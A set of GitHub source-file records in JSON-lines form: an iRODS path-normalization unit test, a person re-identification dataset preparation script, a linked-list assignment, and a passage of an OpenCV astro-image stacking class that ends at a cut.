{"seq_id":"74113786599","text":"import unittest\nimport os.path\nfrom irods.path import iRODSPath\n\n_normalization_test_cases = [\n    #  -- test case --                  -- reference --\n    (\"/zone\",                           \"/zone\"),               # a normal path (1 element)\n    (\"/zone/\",                          \"/zone\"),               # single-slash (1 element)\n    (\"/zone/abc\",                       \"/zone/abc\"),           # a normal path (2 elements)\n    (\"/zone/abc/\",                      \"/zone/abc\"),           # single-slash (2 elements)\n    (\"/zone/abc/.\",                     \"/zone/abc\"),           # final \".\"\n    (\"/zone/abc/./\",                    \"/zone/abc\"),           # final \".\" and \"/\"\n    (\"/zone/abc/..\",                    \"/zone\"),               # final \"..\"\n    (\"/zone/abc/../\",                   \"/zone\"),               # final \"..\" and \"/\"\n    (\"/zone1/../zone2\",                 \"/zone2\"),              # replace one path element with another\n    (\"/zone/home1/../home2\",            \"/zone/home2\"),         # same for a later path element\n    (\"/..\",                             \"/\"),                   # go up (1x) above root collection\n    (\"/../..\",                          \"/\"),                   # go up (2x) above root collection\n    (\"\",                                \"/\"),                   # absolute makes a blank into the root collection\n    (\".\",                               \"/\"),                   # absolute makes a single \".\" into the root collection\n    (\"./.\",                             \"/\"),                   # absolute makes \".\" (2x) into the root collection\n    (\"././zone\",                        \"/zone\"),               # absolute makes initial \".\" (2x) a NO-OP before a normal elem\n    (\"/./zone/abc\",                     \"/zone/abc\"),           # initial (no-op) '.'\n    (\"/../zone\",                        \"/zone\"),               # go up (1x) above root collection and back down\n    (\"/../zone/..\",                     \"/\"),                   # go up (when first, this is a NO-OP); then down, up\n    (\"/../../zone\",                     \"/zone\"),               # go up (2x) above root collection and back down\n    (\"//zone1/../.././zone2\",           \"/zone2\"),              # double-slashes, multiple relative elems\n    (\"//zone1//../.././zone2\",          \"/zone2\"),              # double-slashes (2x), multiple relative elems\n    (\"//zone//abc/.\",                   \"/zone/abc\"),           # same with final \".\"\n    (\"//zone//abc/..\",                  \"/zone\"),               # same with final \"..\"\n    (\"//zone//abc/./..\",                \"/zone\"),               # same with final \".\" and \"..\"\n    (\"/zone//abc/./../\",                \"/zone\"),               # mixed relative elems (./..) and final slashes\n    (\"/zone//abc/.././\",                \"/zone\"),               # mixed relative elems (../.) and final slashes\n    (\"/zone/home1//user/./../trash\",    \"/zone/home1/trash\"),   # intermediately situated double-slash and relative elems (vsn 1)\n    (\"/zone/home1//user/.././trash\",    \"/zone/home1/trash\"),   # intermediately situated double-slash and relative elems (vsn 2)\n]\n\n\nclass PathsTest(unittest.TestCase):\n    def test_path_normalization__383(self):\n        for test_path, reference in _normalization_test_cases:\n            normalized_path = iRODSPath(test_path)\n            self.assertEqual( normalized_path, reference )\n\n\nif __name__ == '__main__':\n    import sys\n    # let the tests find the parent irods lib\n    sys.path.insert(0, os.path.abspath('../..'))\n    unittest.main()\n","repo_name":"irods/python-irodsclient","sub_path":"irods/test/test_paths.py","file_name":"test_paths.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"18"}
{"seq_id":"15955009050","text":"import argparse\nimport numpy as np\nimport random\nimport os.path as osp\nimport pickle\nimport os\n\nparser = argparse.ArgumentParser(description='Dataset Preparation')\nparser.add_argument('--root', type=str, required=True, help='path to data')\nparser.add_argument('--dataset_name', type=str, default='vccr', required=True, help='vccr or ccvid or ccpg')\n\nargs = parser.parse_args()\n\nroot = args.root\ndataset_name = args.dataset_name\n\n\n\ndef prepare(root, dataset_name): \n    data_path = osp.join('data', dataset_name)\n    if osp.exists(data_path):\n        pass\n    else:\n        os.mkdir(data_path)\n    if dataset_name == 'ccvid':\n        \n        root = osp.join(root, 'CCVID')\n        prepare_ccvid(root=root)\n    elif dataset_name == 'vccr':\n        root = osp.join(root, 'VCCR')\n        prepare_vccr(root=root)\n\ndef prepare_vccr(root):\n    train_dir = osp.join(root, 'train')\n    test_dir = osp.join(root, 'test_qg')\n\n    # Training data\n    ids = os.listdir(train_dir)\n    train_set = []\n    for id in ids:\n        id_path = osp.join(train_dir, id)\n        tracklets = os.listdir(id_path)\n        for tracklet in tracklets:\n            tracklet_path = osp.join(id_path, tracklet)\n            imgs = os.listdir(tracklet_path)\n            random_img = random.choice(imgs)\n            cam_id = random_img.split('-')[1][1:]\n            clothes_id = random_img.split('-')[2][1:]\n            img_paths = []\n            for img in imgs:\n                img_path = osp.join(tracklet_path, img)\n                img_paths.append(img_path)\n            img_paths = sorted(img_paths, key=lambda s: s.split('-')[-1][1:-4])\n            train_set.append(\n                {'p_id': int(id), \n                 'img_paths': img_paths,\n                 'cam_id': int(cam_id),\n                 'clothes_id': int(clothes_id)\n                 }\n            )\n    train_content = {\n        'data': train_set,\n        'num_pids': int(len(ids)),\n    }\n    with open(osp.join('data/vccr', 'train.pkl'), 'wb') as f:\n            pickle.dump(train_content, f)\n\n    # query and gallery data\n    query_gallery= {'query': [], 'gallery': []}\n\n    for key in list(query_gallery.keys()):\n        data_set = []\n        dir = osp.join(test_dir, key)\n        ids = os.listdir(dir)\n        for id in ids:\n            id_path = osp.join(dir, id)\n            cams = os.listdir(id_path)\n            for cam in cams:\n                cam_path = osp.join(id_path, cam)\n                tracklets = os.listdir(cam_path)\n                for tracklet in tracklets:\n                    tracklet_path = osp.join(cam_path, tracklet)\n                    imgs = os.listdir(tracklet_path)\n                    random_img = random.choice(imgs)\n                    cam_id = random_img.split('-')[1][1:]\n                    clothes_id = random_img.split('-')[2][1:]\n                    if len(imgs) < 8:\n                        continue\n                    img_paths = []\n                    for img in imgs:\n                        img_path = osp.join(tracklet_path, img)\n                        img_paths.append(img_path)\n                    img_paths = sorted(img_paths, key=lambda s: s.split('-')[-1][1:-4])\n                    data_set.append(\n                        {'p_id': int(id), 'img_paths': img_paths, 'cam_id': int(cam_id), 'clothes_id': int(clothes_id)}\n                    )\n        query_gallery[key] = {\n            'data': data_set,\n            'num_pids': int(len(ids)),\n        }\n        with open(osp.join('data/vccr', f'{key}.pkl'), 'wb') as f:\n            pickle.dump(query_gallery[key], f)\n\ndef prepare_ccvid(root):\n    modes = ['train', 'query', 'gallery']\n    for mode in modes:\n        data_path = osp.join(root, f'{mode}.txt')\n        tracklets, _, num_pids, _, num_clothes, _, _ = process_ccvid(root, data_path, relabel=True)\n        data_set = []\n        for item in tracklets:\n            data_set.append({\n                'img_paths': item[0],\n                'p_id': item[1],\n                'cam_id': item[2],\n                'clothes_id': item[3],\n            })\n        content = {\n            'data': data_set,\n            'num_clothes': num_clothes,\n            'num_pids': num_pids\n        }\n        with open(osp.join('data/ccvid', f'{mode}.pkl'), 'wb') as f:\n            pickle.dump(content, f)\n\n\ndef process_ccvid(root, data_path, relabel=False, clothes2label=None):\n    tracklet_path_list = []\n    pid_container = set()\n    clothes_container = set()\n    with open(data_path, 'r') as f:\n        for line in f:\n            new_line = line.rstrip()\n            tracklet_path, pid, clothes_label = new_line.split()\n            tracklet_path_list.append((tracklet_path, pid, clothes_label))\n            clothes = '{}_{}'.format(pid, clothes_label)\n            pid_container.add(pid)\n            clothes_container.add(clothes)\n    pid_container = sorted(pid_container)\n    clothes_container = sorted(clothes_container)\n    pid2label = {pid:label for label, pid in enumerate(pid_container)}\n    if clothes2label is None:\n        clothes2label = {clothes:label for label, clothes in enumerate(clothes_container)}\n\n    num_tracklets = len(tracklet_path_list)\n    num_pids = len(pid_container)\n    num_clothes = len(clothes_container)\n\n    tracklets = []\n    num_imgs_per_tracklet = []\n    pid2clothes = np.zeros((num_pids, len(clothes2label)))\n\n    for tracklet_path, pid, clothes_label in tracklet_path_list:\n        tracklet_path = osp.join(root, tracklet_path)\n        # img_paths = glob.glob(osp.join(root, tracklet_path, '*')) \n        img_paths = [osp.join(tracklet_path, img) for img in os.listdir(tracklet_path) if os.path.isfile(os.path.join(tracklet_path, img))]\n        img_paths.sort()\n        \n        clothes = '{}_{}'.format(pid, clothes_label)\n        clothes_id = clothes2label[clothes]\n        pid2clothes[pid2label[pid], clothes_id] = 1\n        if relabel:\n            pid = pid2label[pid]\n        else:\n            pid = int(pid)\n        session = tracklet_path.split('/')[0]\n        cam = tracklet_path.split('_')[1]\n        if session == 'session3':\n            camid = int(cam) + 12\n        else:\n            camid = int(cam)\n\n        num_imgs_per_tracklet.append(len(img_paths))\n        tracklets.append((img_paths, pid, camid, clothes_id))\n\n    num_tracklets = len(tracklets)\n\n    return tracklets, num_tracklets, num_pids, num_imgs_per_tracklet, num_clothes, pid2clothes, clothes2label\n\nif __name__ == \"__main__\":\n    prepare(root, dataset_name)","repo_name":"dustin-nguyen-qil/VCCReID-Baseline","sub_path":"datasets/prepare.py","file_name":"prepare.py","file_ext":"py","file_size_in_byte":6444,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"}
{"seq_id":"23741319055","text":"\r\n'''\r\nQ1. Given two linked list of the same size, the task is to create a new linked list using those linked lists.\r\nThe condition is that the greater node among both linked list will be added to the new linked list.\r\n'''\r\n\r\nclass Node:\r\n\r\n    def __init__(self, data):\r\n        self.data = data\r\n        self.next = None\r\n\r\ndef insert(root, item):\r\n    temp = Node(0)\r\n    temp.data = item\r\n    temp.next = None\r\n\r\n    if (root == None):\r\n        root = temp\r\n    else:\r\n        curr = root\r\n        while (curr.next != None):\r\n            curr = curr.next\r\n        curr.next = temp\r\n\r\n    return root\r\n\r\n\r\ndef newList(root1, root2):\r\n    curr1 = root1\r\n    curr2 = root2\r\n\r\n    root = None\r\n    while (curr1 != None):\r\n        temp = Node(0)\r\n        temp.next = None\r\n\r\n        if (curr1.data < curr2.data):\r\n            temp.data = curr2.data\r\n        else:\r\n            temp.data = curr1.data\r\n\r\n        if (root == None):\r\n            root = temp\r\n        else:\r\n            curr = root\r\n            while (curr.next != None):\r\n                curr = curr.next\r\n\r\n            curr.next = temp\r\n        \r\n        curr1 = curr1.next\r\n        curr2 = curr2.next\r\n    \r\n    return root\r\n\r\ndef display(root):\r\n \r\n    while (root != None) :\r\n        print(root.data, \"->\", end = \" \")\r\n        root = root.next\r\n     \r\n    print(\" \");\r\n \r\n# Driver Code\r\nif __name__=='__main__':\r\n \r\n    root1 = None\r\n    root2 = None\r\n    root = None\r\n \r\n    # First linked list\r\n    root1 = insert(root1, 5)\r\n    root1 = insert(root1, 2)\r\n    root1 = insert(root1, 3)\r\n    root1 = insert(root1, 8)\r\n \r\n    print(\"First List: \", end = \" \")\r\n    display(root1)\r\n \r\n    # Second linked list\r\n    root2 = insert(root2, 1)\r\n    root2 = insert(root2, 7)\r\n    root2 = insert(root2, 4)\r\n    root2 = insert(root2, 5)\r\n \r\n    print(\"Second List: \", end = \" \")\r\n    display(root2)\r\n \r\n    root = newList(root1, root2)\r\n    print(\"New List: \", end = \" \")\r\n    display(root)\r\n\r\n\r\n'''\r\nQ2. Write a function that takes a list sorted in non-decreasing order and deletes any duplicate nodes from the list. The list should only be traversed once.\r\n\r\nFor example if the linked list is 11->11->11->21->43->43->60 then removeDuplicates() should convert the list to 11->21->43->60. \r\n'''\r\n\r\n\r\nclass Node:\r\n\r\n\t# Constructor to initialize\r\n\t# the node object\r\n\tdef __init__(self, data):\r\n\t\tself.data = data\r\n\t\tself.next = None\r\n\r\n\r\nclass LinkedList:\r\n\r\n\tdef __init__(self):\r\n\t\tself.head = None\r\n\r\n\tdef push(self, new_data):\r\n\t\tnew_node = Node(new_data)\r\n\t\tnew_node.next = self.head\r\n\t\tself.head = new_node\r\n\r\n\tdef deleteNode(self, key):\r\n\r\n\t\ttemp = self.head\r\n\r\n\t\tif (temp is not None):\r\n\t\t\tif (temp.data == key):\r\n\t\t\t\tself.head = temp.next\r\n\t\t\t\ttemp = None\r\n\t\t\t\treturn\r\n\r\n\t\twhile(temp is not None):\r\n\t\t\tif temp.data == key:\r\n\t\t\t\tbreak\r\n\t\t\tprev = temp\r\n\t\t\ttemp = temp.next\r\n\r\n\t\tif(temp == None):\r\n\t\t\treturn\r\n\r\n\t\tprev.next = temp.next\r\n\r\n\t\ttemp = None\r\n\r\n\tdef printList(self):\r\n\t\ttemp = self.head\r\n\t\twhile(temp):\r\n\t\t\tprint(temp.data, end= \" \")\r\n\t\t\ttemp = temp.next\r\n\r\n\tdef removeDuplicates(self):\r\n\t\ttemp = self.head\r\n\t\tif temp is None:\r\n\t\t\treturn\r\n\t\twhile temp.next is not None:\r\n\t\t\tif temp.data == temp.next.data:\r\n\t\t\t\tnew = temp.next.next\r\n\t\t\t\ttemp.next = None\r\n\t\t\t\ttemp.next = new\r\n\t\t\telse:\r\n\t\t\t\ttemp = temp.next\r\n\t\treturn self.head\r\n\r\n\r\n# Driver Code\r\nllist = LinkedList()\r\n\r\nllist.push(20)\r\nllist.push(13)\r\nllist.push(13)\r\nllist.push(11)\r\nllist.push(11)\r\nllist.push(11)\r\nprint(\"Created Linked List: \")\r\nllist.printList()\r\nprint()\r\nprint(\"Linked List after removing\",\r\n\t\"duplicate elements:\")\r\nllist.removeDuplicates()\r\nllist.printList()\r\n\r\n\r\n'''\r\nQ3. Given a linked list of size N. The task is to reverse every k nodes (where k is an input to the function) in the linked list.\r\nIf the number of nodes is not a multiple of k then left-out nodes, in the end, should be considered as a group and must be reversed (See Example 2 for clarification).\r\n'''\r\n\r\n\r\nclass Node:\r\n  \r\n    # Constructor to initialize the node object\r\n    def __init__(self, data):\r\n        self.data = data\r\n        self.next = None\r\n  \r\n  \r\nclass LinkedList:\r\n  \r\n    def __init__(self):\r\n        self.head = None\r\n  \r\n    def reverse(self, head, k):\r\n        \r\n        if head == None:\r\n          return None\r\n        current = head\r\n        next = None\r\n        prev = None\r\n        count = 0\r\n  \r\n        while(current is not None and count < k):\r\n            next = current.next\r\n            current.next = prev\r\n            prev = current\r\n            current = next\r\n            count += 1\r\n  \r\n  \r\n        if next is not None:\r\n            head.next = self.reverse(next, k)\r\n  \r\n        return prev\r\n  \r\n    def push(self, new_data):\r\n        new_node = Node(new_data)\r\n        new_node.next = self.head\r\n        self.head = new_node\r\n  \r\n    def printList(self):\r\n        temp = self.head\r\n        while(temp):\r\n            print(temp.data,end=' ')\r\n            temp = temp.next\r\n  \r\n  \r\nllist = LinkedList()\r\nllist.push(8)\r\nllist.push(7)\r\nllist.push(6)\r\nllist.push(5)\r\nllist.push(4)\r\nllist.push(3)\r\nllist.push(2)\r\nllist.push(1)\r\n  \r\nprint(\"Given linked list\")\r\nllist.printList()\r\nk = 4\r\nllist.head = llist.reverse(llist.head, k)\r\n  \r\nprint (\"\\nReversed Linked list\")\r\nllist.printList()\r\n\r\n\r\n'''\r\nQ4. Given a linked list, write a function to reverse every alternate k nodes (where k is an input to the function) in an efficient way.\r\nGive the complexity of your algorithm.\r\n'''\r\n\r\n\r\nclass Node:\r\n\tdef __init__(self, data):\r\n\t\tself.data = data\r\n\t\tself.next = None\r\n\r\ndef kAltReverse(head, k) :\r\n\tcurrent = head\r\n\tnext = None\r\n\tprev = None\r\n\tcount = 0\r\n\r\n\twhile (current != None and count < k) :\r\n\t\tnext = current.next\r\n\t\tcurrent.next = prev\r\n\t\tprev = current\r\n\t\tcurrent = next\r\n\t\tcount = count + 1\r\n\t\r\n\tif(head != None):\r\n\t\thead.next = current\r\n\r\n\tcount = 0\r\n\twhile(count < k - 1 and current != None ):\r\n\t\tcurrent = current.next\r\n\t\tcount = count + 1\r\n\t\t\r\n\tif(current != None):\r\n\t\tcurrent.next = kAltReverse(current.next, k)\r\n\r\n\treturn prev\r\n\r\ndef push(head_ref, new_data):\r\n\t\r\n\tnew_node = Node(new_data)\r\n\r\n\r\n\tnew_node.next = head_ref\r\n\r\n\thead_ref = new_node\r\n\t\r\n\treturn head_ref\r\n\r\ndef printList(node):\r\n\tcount = 0\r\n\twhile(node != None):\r\n\t\tprint(node.data, end = \" \")\r\n\t\tnode = node.next\r\n\t\tcount = count + 1\r\n\t\r\nif __name__=='__main__':\r\n\t\r\n\thead = None\r\n\r\n\tfor i in range(20, 0, -1):\r\n\t\thead = push(head, i)\r\n\t\t\r\n\tprint(\"Given linked list \")\r\n\tprintList(head)\r\n\thead = kAltReverse(head, 3)\r\n\r\n\tprint(\"\\nModified Linked list\")\r\n\tprintList(head)\r\n\t\r\n\r\n'''\r\nQ5. Given a linked list and a key to be deleted. Delete last occurrence of key from linked. The list may have duplicates.\r\n'''\r\n\r\nclass Node:\r\n\tdef __init__(self, new_data):\r\n\t\t\r\n\t\tself.data = new_data\r\n\t\tself.next = None\r\n\r\ndef deleteLast(head, x):\r\n\r\n\ttemp = head\r\n\tptr = None\r\n\t\r\n\twhile (temp != None):\r\n\t\t\r\n\t\tif (temp.data == x):\r\n\t\t\tptr = temp\t\r\n\t\t\t\r\n\t\ttemp = temp.next\r\n\t\r\n\tif (ptr != None and ptr.next == None):\r\n\t\ttemp = head\r\n\t\twhile (temp.next != ptr):\r\n\t\t\ttemp = temp.next\r\n\t\t\t\r\n\t\ttemp.next = None\r\n\t\r\n\tif (ptr != None and ptr.next != None):\r\n\t\tptr.data = ptr.next.data\r\n\t\ttemp = ptr.next\r\n\t\tptr.next = ptr.next.next\r\n\t\t\r\n\treturn head\r\n\t\r\ndef newNode(x):\r\n\r\n\tnode = Node(0)\r\n\tnode.data = x\r\n\tnode.next = None\r\n\treturn node\r\n\r\ndef display(head):\r\n\r\n\ttemp = head\r\n\t\r\n\tif (head == None):\r\n\t\tprint(\"NULL\\n\")\r\n\t\treturn\r\n\t\r\n\twhile (temp != None):\r\n\t\tprint( temp.data,\" --> \", end = \"\")\r\n\t\ttemp = temp.next\r\n\t\r\n\tprint(\"NULL\")\r\n\r\nhead = newNode(1)\r\nhead.next = newNode(2)\r\nhead.next.next = newNode(3)\r\nhead.next.next.next = newNode(5)\r\nhead.next.next.next.next = newNode(2)\r\nhead.next.next.next.next.next = newNode(10)\r\n\r\nprint(\"Created Linked list: \", end = '')\r\ndisplay(head)\r\n\r\nk = 2\r\nhead = deleteLast(head, k)\r\nprint(\"List after deletion of\", k, \": \", end = '')\r\n\r\ndisplay(head)\r\n\r\n\r\n'''\r\nQ6. Given two sorted linked lists consisting of N and M nodes respectively. The task is to merge both of the lists (in place) and return\r\nthe head of the merged list.\r\n'''\r\n\r\n\r\nclass Node:\r\n\tdef __init__(self, key):\r\n\t\tself.key = key\r\n\t\tself.next = None\r\n\t\t\r\ndef newNode(key):\r\n\treturn Node(key)\r\n\r\n\r\na = Node(5)\r\na.next = Node(10)\r\na.next.next = Node(15)\r\na.next.next.next = Node(40)\r\n\r\nb = Node(2)\r\nb.next = Node(3)\r\nb.next.next = Node(20)\r\n\r\nv = []\r\nwhile(a is not None):\r\n\tv.append(a.key)\r\n\ta = a.next\r\n\r\nwhile(b is not None):\r\n\tv.append(b.key)\r\n\tb = b.next\r\n\r\nv.sort()\r\nresult = Node(-1)\r\ntemp = result\r\nfor i in range(len(v)):\r\n\tresult.next = Node(v[i])\r\n\tresult = result.next\r\n\r\ntemp = temp.next\r\nprint(\"Resultant Merge Linked List is : \")\r\nwhile(temp is not None):\r\n\tprint(temp.key, end=\" \")\r\n\ttemp = temp.next\r\n\r\n\r\n'''\r\nQ7. Given a Doubly Linked List, the task is to reverse the given Doubly Linked List.\r\n'''\r\n\r\nclass Node:\r\n \r\n    def __init__(self, data):\r\n        self.data = data\r\n        self.next = None\r\n        self.prev = None\r\n \r\n \r\nclass DoublyLinkedList:\r\n    def __init__(self):\r\n        self.head = None\r\n \r\n    def reverse(self):\r\n        temp = None\r\n        current = self.head\r\n \r\n        while current is not None:\r\n            temp = current.prev\r\n            current.prev = current.next\r\n            current.next = temp\r\n            current = current.prev\r\n \r\n        if temp is not None:\r\n            self.head = temp.prev\r\n \r\n    def push(self, new_data):\r\n \r\n        new_node = Node(new_data)\r\n \r\n        new_node.next = self.head\r\n \r\n        if self.head is not None:\r\n            self.head.prev = new_node\r\n \r\n        self.head = new_node\r\n \r\n    def printList(self, node):\r\n        while(node is not None):\r\n            print(node.data, end=' ')\r\n            node = node.next\r\n \r\n \r\nif __name__ == \"__main__\":\r\n    dll = DoublyLinkedList()\r\n    dll.push(2)\r\n    dll.push(4)\r\n    dll.push(8)\r\n    dll.push(10)\r\n \r\n    print(\"\\nOriginal Linked List\")\r\n    dll.printList(dll.head)\r\n \r\n    dll.reverse()\r\n \r\n    print(\"\\nReversed Linked List\")\r\n    dll.printList(dll.head)\r\n\r\n\r\n'''\r\nQ8. Given a doubly linked list and a position. The task is to delete a node from given position in a doubly linked list.\r\n'''\r\n\r\nclass Node:\r\n     \r\n    def __init__(self, data):\r\n        self.data = data\r\n        self.next = None\r\n        self.prev = None\r\n \r\ndef deleteNode(head_ref, del_):\r\n \r\n    if (head_ref == None or del_ == None):\r\n        return\r\n \r\n    if (head_ref == del_):\r\n        head_ref = del_.next\r\n \r\n    if (del_.next != None):\r\n        del_.next.prev = del_.prev\r\n \r\n    if (del_.prev != None):\r\n        del_.prev.next = del_.next\r\n         \r\n    return head_ref\r\n \r\ndef deleteNodeAtGivenPos(head_ref,n):\r\n \r\n    if (head_ref == None or n <= 0):\r\n        return\r\n \r\n    current = head_ref\r\n    i = 1\r\n \r\n    while ( current != None and i < n ):\r\n        current = current.next\r\n        i = i + 1\r\n \r\n    if (current == None):\r\n        return\r\n \r\n    deleteNode(head_ref, current)\r\n     \r\n    return head_ref\r\n \r\ndef push(head_ref, new_data):\r\n \r\n    new_node = Node(0)\r\n \r\n    new_node.data = new_data\r\n \r\n    new_node.prev = None\r\n \r\n    new_node.next = (head_ref)\r\n \r\n    if ((head_ref) != None):\r\n        (head_ref).prev = new_node\r\n \r\n    (head_ref) = new_node\r\n     \r\n    return head_ref\r\n \r\ndef printList(head):\r\n \r\n    while (head != None) :\r\n        print( head.data ,end= \" \")\r\n        head = head.next\r\n     \r\n\r\nhead = None\r\n \r\nhead = push(head, 5)\r\nhead = push(head, 2)\r\nhead = push(head, 4)\r\nhead = push(head, 8)\r\nhead = push(head, 10)\r\n \r\nprint(\"Doubly linked list before deletion:\")\r\nprintList(head)\r\n \r\nn = 2\r\n \r\nhead = deleteNodeAtGivenPos(head, n)\r\n \r\nprint(\"\\nDoubly linked list after deletion:\")\r\n \r\nprintList(head)","repo_name":"ravilibra/DSA-Assignment-BigDataBootcamp","sub_path":"Assignment_13.py","file_name":"Assignment_13.py","file_ext":"py","file_size_in_byte":11584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70043643559","text":"import cv2\nfrom numba import jit\nfrom collections import deque\nimport numpy as np  \nimport asyncio\nfrom pyastrov.logger import setup_logger\nfrom multiprocessing import Process, Manager,shared_memory\nimport multiprocessing as mp\nfrom collections import deque\nfrom pyastrov.procimg import utils\nfrom datetime import datetime\nlogger = setup_logger(\"stack\")\nclass ImageStacker:\n    def __init__(self,) : \n        self.stacked_maxlen = 10\n        self.new_image_buffer = deque([], maxlen=5)\n        self.stacked_buffer = Manager().list([])\n        self.is_stacking = False\n        self.num_stacked = 0\n        self.threashold = 0.99\n    def start_stack(self):\n        self.is_stacking = True\n        \n    async def run_stack(self):\n        if len(self.stacked_buffer) == 0:\n            base_img = self.new_image_buffer[0]\n        else : \n            base_img = self.stacked_buffer[0]\n\n        #setting base image \n        self.add_base(base_img)\n        # get base image shape and dtype\n        shape = base_img.shape\n        dtype = base_img.dtype\n    \n        # define to send variable to other process\n        new_img_shm = shared_memory.SharedMemory(create=True, size=np.prod(shape))\n        is_stacking =mp.Value('i', 1) \n        is_ok=mp.Value('i', 1) \n        buf_event = mp.Event() \n        buf_event.clear()\n\n        # start stack process\n        p = mp.Process(target=self.stack_process, args=(new_img_shm, buf_event,self.stacked_buffer,is_stacking,is_ok),daemon=True)\n        p.start()\n        pre_num =  0\n        while True:\n            is_stacking.value = int(self.is_stacking)\n            if is_stacking.value == 0 : \n                p.terminate()\n                break\n            #pre_numと現在のスタック数がおなじならスタックしない\n            if is_ok.value == 0 :\n                logger.debug(f\"pre_num {pre_num} == num_stack {self.get_num_stack()}\")\n                logger.debug(f\"Wating stackking process \")\n                await asyncio.sleep(5)\n                continue\n            if len(self.new_image_buffer)>0:\n                is_ok.value = 0\n                logger.info(\"try stacking number %s\",self.num_stacked+1)\n                logger.debug(\"new images : %d\",len(self.new_image_buffer))\n                logger.debug(\"stacked image : %d \", len(self.stacked_buffer))\n                buf_event.clear()\n                new_img_buf = np.ndarray(shape, dtype=dtype, buffer=new_img_shm.buf)\n                new_img_buf[:] = self.new_image_buffer.pop()\n                buf_event.set()\n                #len new images\n                self.num_stacked = len(self.stacked_buffer)\n                logger.debug(np.array(self.stacked_buffer[0]).mean().mean())\n\n\n                # \n            print(is_ok.value)\n            await asyncio.sleep(1)\n\n        p.join()\n        new_img_shm.close()\n        new_img_shm.unlink()\n        return\n    def is_stackking(self):\n        return self.is_stacking\n    def get_num_stack(self):\n        return len(self.stacked_buffer)\n    def stack_process(self, new_img_shm, shm_event,buffer, is_stackking,is_ok ): \n        shape = buffer[0].shape\n        dtype = buffer[0].dtype\n        while True:\n            if is_stackking.value == 0 : break\n            shm_event.wait()\n            new_img = np.ndarray(shape, dtype=dtype , buffer=new_img_shm.buf)\n            shm_event.clear()\n\n            self.stack(buffer,new_img)\n            is_ok.value = 1\n\n\n\n    def add_base(self,base_img: np.ndarray):\n        self.stacked_buffer.append(base_img)\n\n    def stack(self, buffer,new_img: np.ndarray):\n        if len(buffer) > 0 and new_img.dtype != buffer[0].dtype:\n            logger.error(\"dtype is not the same %s != %s\", new_img.dtype, buffer[0][0].dtype)\n            return \n        if len(buffer) > 0 and new_img.shape != buffer[0].shape:\n            logger.error(\"shape is not the same %s != %s\", new_img.shape, buffer[0][0].shape)\n            return\n\n        if len(new_img.shape) == 4:\n            new_img = new_img[:,:,:3]\n\n        if len(buffer) == 0: \n            buffer.append(new_img)\n            return\n        logger.debug(\"new image shape %s and buffer shape %s\", new_img.shape, buffer[0].shape) \n        base_img = buffer[0]\n        try : \n            kp, des = self.get_keypoints(base_img)\n            \n            align = self.get_alignment_img(new_img, kp, des)\n            logger.debug(\"align shape %s\", align.shape)\n            avg_image = cv2.addWeighted(base_img, 0.7, align, 0.3, 0)\n\n            if len(buffer) >= self.stacked_maxlen:\n                buffer.pop()\n            buffer.insert(0,avg_image)\n            logger.info(\"Stacking success\")\n\n            #now = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n            #cv2.imwrite(f\"output/{now}.jpg\",buffer[0])\n            \n        except Exception as e:\n            logger.error(f\"Faild to stack images  : {e} \")\n\n\n    def get_latest_stacked(self):\n        if len(self.stacked_buffer) ==0 : \n            logger.error(\"buffer is empty\")\n            return None\n        return self.stacked_buffer[0]\n    def get_keypoints(self,img, pt1=(0, 0), pt2=None):\n        if pt2 is None:\n            pt2 = (img.shape[1], img.shape[0])\n\n        #img = utils.exec_clahe(img)\n        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n        \n        mask = cv2.rectangle(np.zeros_like(gray), pt1, pt2, color=1, thickness=-1)\n        akaze = cv2.AKAZE_create()\n\n        return akaze.detectAndCompute(gray, mask=mask)\n    def get_matcher(self,img, kp2, des2):\n        kp1, des1 = self.get_keypoints(img)\n\n        if len(kp1) == 0 or len(kp2) == 0:\n            logger.error(\"keypoints is empty\")\n            return None,None\n\n        bf = cv2.BFMatcher()\n        matches = bf.knnMatch(des1, des2, k=2)\n\n        good = [m for m, n in matches if m.distance < self.threashold * n.distance]\n\n        if len(good) == 0:\n            #logger.error(\"good is empty\")\n            return None,None\n\n        target_position = [[kp1[m.queryIdx].pt[0], kp1[m.queryIdx].pt[1]] for m in good]\n        base_position = [[kp2[m.trainIdx].pt[0], kp2[m.trainIdx].pt[1]] for m in good]\n\n        apt1 = np.array(target_position)\n        apt2 = np.array(base_position)\n        return apt1, apt2\n    def get_alignment_img(self,img, kp2, des2):\n        height, width = img.shape[:2]\n        apt1, apt2 = self.get_matcher(img, kp2, des2)\n        if apt1 is None or apt2 is None:\n            return None\n\n        mtx = cv2.estimateAffinePartial2D(apt1, apt2,confidence=0.99)[0]\n\n        if mtx is not None:\n            logger.debug(\"Found affine matrix\") \n            return cv2.warpAffine(img, mtx, (width, height))\n        else:\n            logger.debug(\"Not found affine matrix\")\n            return None\n    def save_stacked(self,stack_i:  int, filename:str ):\n        if len(self.stacked_buffer) == 0 : \n            logger.error(\"stacked buffer is empty\")\n            return\n        img = self.stacked_buffer[stack_i]\n        cv2.imwrite(filename,img)\n        logger.info(f\"Saved stacked image to {filename}\")\n    def is_stacking(self):\n        return self.is_stacking\n    def clear_buffer(self):\n        if self.is_stacking:\n            logger.error(\"Cannot remove stacked image while stacking\")\n            return\n        self.stacked_buffer[:] = []\n        self.num_stacked = 0\n        logger.info(\"Removed all stacked images\")\n    def stop_stack(self):\n        self.is_stacking = False\n\nasync def test_mulproc_stack():\n    import threading,time\n    import pathlib\n    import pprint\n    def func(stacker):\n    # read images dirctory and read images \n        p = pathlib.Path(\"images\")\n        for i in p.glob(\"*.jpg\"):\n            img = cv2.imread(str(i))\n            img = utils.auto_adjust_rgb(img)\n            img = utils.ctrl_gamma(img,0.3 ).astype(img.dtype)    \n            print(\"add\")\n            stacker.new_image_buffer.appendleft(img)\n            for i in range(100000000):\n                pass\n    # generate random image\n    p = pathlib.Path(\"images\")\n    pprint.pprint(list(p.glob('*.jpg')))\n    l = p.glob(\"*.jpg\")\n    base_img = cv2.imread(str(next(l)))\n    base_img = utils.auto_adjust_rgb(base_img)\n    base_img = utils.ctrl_gamma(base_img,0.3 ).astype(base_img.dtype)    \n    stacker = ImageStacker()\n    stacker.new_image_buffer.appendleft(base_img)\n    threading.Thread(target=func, args=(stacker,)).start()\n    await stacker.run_stack()\n    g = 